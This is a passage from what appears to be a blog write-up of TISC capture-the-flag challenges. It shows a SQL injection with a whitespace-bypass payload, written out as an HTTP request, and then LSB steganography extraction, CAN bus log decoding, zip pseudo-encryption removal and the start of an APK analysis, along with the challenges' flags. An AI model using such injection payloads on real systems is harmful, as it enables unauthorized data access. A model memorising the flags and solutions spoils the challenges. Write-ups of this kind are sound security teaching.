<div>Filter applied: junk</div>
<div>0 results</div>

However, when we try a single quote like this filter=', the HTML response will completely omit the “Filter applied” <div> and the filter results <table>/<div>. Our input has probably successfully triggered an SQL syntax error which confirms the web application is likely vulnerable to SQL injections.
Through more test payloads, you’ll notice that spaces are stripped from your payload and your query value cannot be more than 7 characters. As such, I used %a0 instead of a regular whitespace and 1 instead of the usual 1=1 to retrieve all rows.

Request:

1
2
3
4
5
6
7
8
9
POST /landing_admin.php HTTP/1.1
Host: s0pq6slfaunwbtmysg62yzmoddaw7ppj.ctf.sg:18926
Content-Length: 15
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=8e7c1628ee81eb678e60fb23fec77d02
Connection: close

filter='%0aor%a01#

Response snippet with flag on line 12:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<div>Filter applied: 'or 1#</div>
<div>
    <table>
        <tr>
            <th>IP</th>
            <th>Status</th>
            <th>Key</th>
        </tr>
        <tr>
            <td>192.168.1.20</td>
            <td>isALIVE</td>
            <td>TISC{H0P3_YOu_eNJ0Y-1t}</td>
        </tr>
        <tr>
            <td>192.168.1.20</td>
            <td>isALIVE</td>
            <td>TheFlagIsSomewhereHere</td>
        </tr>
        <tr>
            <td>192.168.1.20</td>
            <td>isALIVE</td>
            <td>ButCanYouFindIt</td>
        </tr>
        <tr>
            <td>192.168.1.20</td>
            <td>isDEAD</td>
            <td>MaybeMessingAroundTheFilterWillHelp?</td>
        </tr>
        <tr>
            <td>192.168.1.20</td>
            <td>isDEAD</td>
            <td>ButDoYouKnowHow?</td>
        </tr>
    </table>
</div>

Flag: TISC{H0P3_YOu_eNJ0Y-1t}

Level 5 (Binary Manipulation, IoT Analytics)

Need for Speed

We have intercepted some instructions sent to an autonomous bomb truck used by PALINDROME. However, it seems to be just a BMP file of a route to the Istana!

Analyze the file provided and uncover PALINDROME’s instructions. Find a way to kill the operation before it is too late.

Ensure the md5 checksum of the given file matches the following before starting:
26dc6d1a8659594cdd6e504327c55799

Submit your flag in the format: TISC{flag found}.

Note: The flag found in this challenge is not in the TISC{…} format. To assist in verifying if you have obtained the flag, the md5 checksum of the flag is: d6808584f9f72d12096a9ca865924799.

Attached: route.bmp

There were no funny words or reverse PE chunks in the given .bmp this time. Instead, I noticed data in the later sections of the BMP appeared to consistently have some of its least significant bits (LSBs) flipped.
I uploaded the image to StegOnline to browse the bit planes for further analysis.

RGB LSB planes contain suspicious data as viewed at StegOnline

Sure enough, the Red 0, Blue 0, and Green 0 (LSBs for RGB) planes all had this interesting noise that was abruptly cut off at around ⅔ of the image from the top, thus pointing to some kind of LSB steganography at work.

Although visually, the steganographically-hidden data appears at the top of the image, this data would actually be found at the bottom of the actual BMP file. This is because for BMPs, “usually pixels are stored ‘bottom-up’, starting in the lower left corner, going from left to right, and then row by row from the bottom to the top of the image”. Referenced from Wikipedia. Nevertheless, when we use a Python module like pillow, it’ll take care of this for us and we can still treat the pixel at the coordinates (0,0) to be at the visual top left.

When I first tried to extract the LSBs of the R, G, B values of pixels and concatenate them together to form a binary string, the resulting data did not make much sense. I was stuck here for long and searched lots online until I came across this writeup for CSAW Quals 2016 where skipping every 9th extracted bit was necessary. Soon after I also found this really old tool called Stepic which uses the same technique, but nothing else apart from that. Is this something obscure?
Anyway, skipping the 9th bit worked wonders and the resulting file was a 7z.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from PIL import Image

def bitstr_to_bytes(s):
    return bytes(int(s[i : i + 8], 2) for i in range(0, len(s), 8))

img = Image.open("route.bmp")
w, h = img.size
pixels = img.load()

bits = []

for y in range(h):
    for x in range(w):
        r, g, b = pixels[x, y]
        bits += [r, g, b]

bits = "".join([str(b & 1) for i, b in enumerate(bits) if i % 9 != 8])

with open("data", "wb") as f:
    f.write(bitstr_to_bytes(bits))
1
2
a@b:/c/TISC$ file data
data: 7-zip archive data, version 0.4

The extracted archive contains update.log and candump.log. The former tells us to check the turn signals:

see turn signals for updated abort code :)
- P4lindr0me

while the latter contains CAN traffic likely dumped by candump.
However, because we aren’t provided with any CAN database files (DBC) to decode this raw CAN bus traffic, nor do we have any information on what kind of vehicle generated this traffic, we can’t know for sure which message identifier is mapped to turn signals.
Thus, I just sorted the message IDs present in the traffic capture file by frequency and manually examined the traffic for message IDs that appeared the least often. My reasoning was that these message IDs were probably more special.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
a@b:/c/TISC$ awk '{print $3}' < candump.log | cut -d'#' -f 1 | sort | uniq -c | sort -nr
   3815 136
   3814 191
   3814 183
   3814 17C
   3814 166
   3814 164
   3814 161
   3814 158
   3814 143
   3814 13F
   3814 13A
   3814 133
   3814 095
   3813 18E
   2981 0B6
   2517 039
   1907 1A4
   1906 1DC
   1906 1CF
   1895 1D0
   1895 1B0
   1895 1AA
    947 294
    947 21E
    386 37C
    386 324
    386 309
    385 320
    374 333
    362 305
    128 454
    128 428
    128 40C
    128 405
     77 0C7
     36 5A1

Starting from the bottom (and viewing these logs in Wireshark), message ID 0x5A1 did not contain any significant as its data just alternated between 3 different values.
However, for 0x0C7, I noticed there were ASCII characters consistently in the 3rd byte of the data. Let’s try extracting this out with pyshark and see what it gives:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import pyshark

cap = pyshark.FileCapture("candump.log", display_filter="can.id == 0x0c7")

flag = ""
byte_to_extract = 3

for packet in cap:
    data = (packet.data.data.hex_value >> (2 ** (8 - byte_to_extract))) & 0xff
    flag += chr(data)

cap.close()
print(flag)
1
2
C:\TISC>can_extract.py
l1f3_15_wh47_h4pp3n5_wh3n_y0u'r3_bu5y_m4k1n6_07h3r_pl4n5.-j_0_h_n_l_3_n_n_0_n

This output gives the MD5 checksum of d6808584f9f72d12096a9ca865924799 which matches what the challenge’s description is looking for!

Flag: TISC{l1f3_15_wh47_h4pp3n5_wh3n_y0u'r3_bu5y_m4k1n6_07h3r_pl4n5.-j_0_h_n_l_3_n_n_0_n}

Level 7 (Steganography, Android Security, Cryptography)

The Secret

Our investigators have recovered this email sent out by an exposed PALINDROME hacker, alias: Natasha. It looks like some form of covert communication between her and PALINDROME.

Decipher the communications channel between them quickly to uncover the hidden message, before it is too late.

Submit your flag in the format: TISC{flag found}.

Attached: Bye for now.eml

LSB Steganography

The given .eml file contains a long Base64-encoded string as a HTML comment at the bottom. This string decodes to a PNG image.

EML file contains long Base64-encoded string at the bottom

Base64 string decodes to PNG in CyberChef

Since the email says that we can sometimes “find the most valuable things hidden in the least significant places”, and the PNG has the EXIF image description of “瑞恩的巨蟒只喜欢最后一个比特” which translates to “Ryan’s Python likes the last bit”, we pretty much know that there is LSB steganography at play.

I ran zsteg on the image and a URL was found encoded in the least significant bits of the R, G, B, and A planes.

1
2
3
4
5
6
7
a@b:/c/Downloads$ zsteg natasha.png
b1,rgba,lsb,xy      .. text: "https://transfer.ttyusb.dev/8S8P76hlG6yEig2ywKOiC6QMak4iGaKc/data.zip"
b1,abgr,lsb,xy      .. text: "i.h-lObh"
b2,b,lsb,xy         .. text: "DDUUEEUETDEUDU"
b3,r,msb,xy         .. file: Targa image data - RGB 65536 x 2 x 8 +8
b4,b,lsb,xy         .. file: Targa image data 4368 x 4369 x 16 +4369 +4368 - 1-bit alpha - right
b4,rgb,lsb,xy       .. file: Targa image data 4097 x 272 x 16 +256 +4112 "\001\020\001"

Downloading data.zip from the URL and running 7z l -slt on it to view detailed information, we see that it appears to be an encrypted zip with app.apk inside compressed using Deflate.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
a@b:/c/Downloads$ 7z l -slt data.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,12 CPUs Intel(R) Core(TM) i7-8700T CPU @ 2.40GHz (906EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 1532630 bytes (1497 KiB)

Listing archive: data.zip

--
Path = data.zip
Type = zip
Physical Size = 1532630
Comment = LOBOBMEM MULEBES ULUD RIKIF GNIKCARC EROFEB NIAGA KNIHT

----------
Path = app.apk
Folder = -
Size = 5867522
Packed Size = 1532411
Modified = 2021-10-21 14:12:02
Created =
Accessed =
Attributes = _ -rw-r--r--
Encrypted = +
Comment =
CRC = 19925092
Method = ZipCrypto Deflate
Host OS = Unix
Version = 20
Volume Index = 0

There is also a comment at the end of the zip file which when reversed says THINK AGAIN BEFORE CRACKING FIKIR DULU SEBELUM MEMBOBOL. The second part FIKIR DULU SEBELUM MEMBOBOL is just the Indonesian translation of the message in the first part. This means that we should not be trying to bruteforce for the encrypted zip’s password.

Zip Pseudo-Encryption

I spent many hours trying random things before I thought: what if the compressed app.apk data wasn’t actually encrypted? Instead, maybe the encrypted file general purpose bit flag (bit 0) was just set in the zip file header to fool any zip utilities trying to read/extract this zip file? With that, I tried unsetting the bit in both the ZIPFILERECORD and ZIPDIRENTRY structures and extraction worked without hiccups. Hooray!

Setting encrypted bits from 1 to 0 in 010Editor

1
2
3
4
a@b:/c/Downloads$ unzip data.zip
Archive:  data.zip
LOBOBMEM MULEBES ULUD RIKIF GNIKCARC EROFEB NIAGA KNIHT
  inflating: app.apk

APK Analysis

Launching app.apk in https://appetize.io/, we can see that the app retrieves and checks the current time and location upon clicking on I'M IN POSITION. It seems that the location needs to be near the CSIT building while the time needs to be somewhere around 1 hour before sunrise. If these checks aren’t fulfilled, an error is shown at the bottom and Data and Flag remain as N.A.

Setting encrypted bits from 1 to 0 in 010Editor

Writeup to be continued…


I hope you enjoyed!

Share on

rainbowpigeon
WRITTEN BY
rainbowpigeon
OSCP | OSED | Burp Suite Certified Practitioner